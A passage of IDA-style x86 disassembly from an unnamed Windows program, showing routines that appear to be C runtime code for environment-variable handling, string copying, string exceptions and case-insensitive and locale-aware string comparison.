		jz	short loc_42620F
		mov	eax, dword_4DB980
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB984
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB980, eax


loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB988, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D


loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh


loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB980, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB988, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB988, eax
		jz	short loc_42620F
		mov	[eax], edi


loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB980
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx


loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------


loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------


loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB980, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25E1078h
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB980
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB980
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DCEC1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEF+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6F0
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_40D6B4
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D08o
					; ___:00427D18o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A0

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D04o
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D14o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:0042808Co
		mov	dword ptr [ecx], offset	off_427D14
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D561+13p
					; sub_40D725+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428088
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D561
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D20
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D04
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D40o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:00428134o
		mov	dword ptr [ecx], offset	off_427D40
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B1+15p
					; sub_40D50A+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428130
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D40
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D40
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D0Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428170
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428130
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D1Co
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428088
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426750	proc near
		jmp	near ptr 71B2ACCBh
sub_426750	endp

; ---------------------------------------------------------------------------
		pop	ebp

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE41+5Ep
					; ___:00414BE6p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 286211Bh
sub_42675C	endp

; ---------------------------------------------------------------------------
		db 0A9h

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417276+E2p
					; sub_417276+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D60
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D60o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D68
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D68
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D6Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D88
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2670391h
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DBA14, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DBA14
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DA8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DBC6C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DBC6C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CB50C
		push	edi
		push	esi
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DBC6C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DBC6C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		call	near ptr 2821065h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2821065h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
